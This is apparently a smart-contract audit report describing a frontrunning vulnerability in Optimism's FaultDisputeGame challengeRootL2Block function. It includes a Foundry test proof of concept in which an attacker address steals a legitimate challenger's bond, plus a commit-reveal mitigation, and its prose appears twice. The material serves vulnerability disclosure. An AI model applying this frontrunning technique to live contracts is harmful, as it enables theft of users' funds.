The discovered vulnerability in Optimism's challengeRootL2Block function exposes the system to frontrunning attacks. A malicious actor can observe an incoming transaction from a legitimate user attempting to challenge the root of an L2 block and front-run this transaction. By doing so, the attacker can challenge the root first and resolve the challenge to claim the initial root bond, effectively stealing that bond from the rightful challenger. This undermines the fairness and integrity of the dispute resolution process, potentially causing significant financial losses and eroding trust in the protocol.
Proof of Concept
Below is a proof of concept (PoC) demonstrating the frontrunning vulnerability. This PoC highlights how a malicious user can exploit the challengeRootL2Block function to claim the bond of a legitimate challenger.
function test_POCFrontrunningOnChallengeRootL2Block(
bytes32 _storageRoot,
bytes32 _withdrawalRoot,
uint256 _l2BlockNumber
)
public
{
vm.deal(address(0xb0b), 1 ether);
_l2BlockNumber = bound(_l2BlockNumber, 0, type(uint256).max - 1);
(Types.OutputRootProof memory outputRootProof, bytes32 outputRoot, bytes memory headerRLP) =
_generateOutputRootProof(_storageRoot, _withdrawalRoot, abi.encodePacked(_l2BlockNumber));
// Create the dispute game with the output root at the wrong L2 block number.
disputeGameFactory.setInitBond(GAME_TYPE, 0.1 ether);
uint256 balanceBefore = address(this).balance;
IDisputeGame game = disputeGameFactory.create{ value: 0.1 ether }(
GAME_TYPE, Claim.wrap(outputRoot), abi.encode(_l2BlockNumber + 1)
);
FaultDisputeGame fdg = FaultDisputeGame(address(game));
// Attack the root as 0xb0b
uint256 bond = _getRequiredBond(0);
(,,,, Claim disputed,,) = fdg.claimData(0);
vm.prank(address(0xb0b));
fdg.attack{ value: bond }(disputed, 0, Claim.wrap(0));
// Challenge the L2 block number as 0xace. This claim should receive the root claim's bond.
// address(69) fron<t-run address(0xace),gets its bond and block him from calling challengeRootL2Block
vm.prank(address(69));
fdg.challengeRootL2Block(outputRootProof, headerRLP);
// reverts due to duplicate challange
vm.prank(address(0xace));
vm.expectRevert(L2BlockNumberChallenged.selector);
fdg.challengeRootL2Block(outputRootProof, headerRLP);
// Warp past the clocks, resolve the game.
vm.warp(block.timestamp + 3 days + 12 hours + 1);
fdg.resolveClaim(1, 0);
fdg.resolveClaim(0, 0);
fdg.resolve();
// Ensure the challenge was successful.
assertEq(uint8(fdg.status()), uint8(GameStatus.CHALLENGER_WINS));
// Wait for the withdrawal delay.
vm.warp(block.timestamp + delayedWeth.delay() + 1 seconds);
// Claim credit
fdg.claimCredit(address(0xb0b));
fdg.claimCredit(address(69));
//try to claim something,but reverts since 0xace has no credit
vm.expectRevert(NoCreditToClaim.selector);
fdg.claimCredit(address(0xace));
// Ensure that the party who challenged the L2 block number with the special move received the bond.
// - Root claim loses their bond
// - 69 receives the root claim's bond
// - 0xb0b receives their bond back
assertEq(address(this).balance, balanceBefore - 0.1 ether);
assertEq(address(0xb0b).balance, 1 ether);
assertEq(address(69).balance, 0.1 ether + 1);
}
Tools Used
foundry
Recommended Mitigation Steps
add a potential commit-reveal scheme for challenges,covering by doing so, all the inputs from the rightful challengers.
Lines of code
https://github.com/ethereum-optimism/optimism/blob/5be91416a3d017d3f8648140b3c41189b234ff6e/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L492-L534
Vulnerability details
Impact
The discovered vulnerability in Optimism's
challengeRootL2Block
function exposes the system to frontrunning attacks. A malicious actor can observe an incoming transaction from a legitimate user attempting to challenge the root of an L2 block and front-run this transaction. By doing so, the attacker can challenge the root first and resolve the challenge to claim the initial root bond, effectively stealing that bond from the rightful challenger. This undermines the fairness and integrity of the dispute resolution process, potentially causing significant financial losses and eroding trust in the protocol.Proof of Concept
Below is a proof of concept (PoC) demonstrating the frontrunning vulnerability. This PoC highlights how a malicious user can exploit the
challengeRootL2Block
function to claim the bond of a legitimate challenger.Tools Used
foundry
Recommended Mitigation Steps
add a potential commit-reveal scheme for challenges,covering by doing so, all the inputs from the rightful challengers.
Assessed type
Timing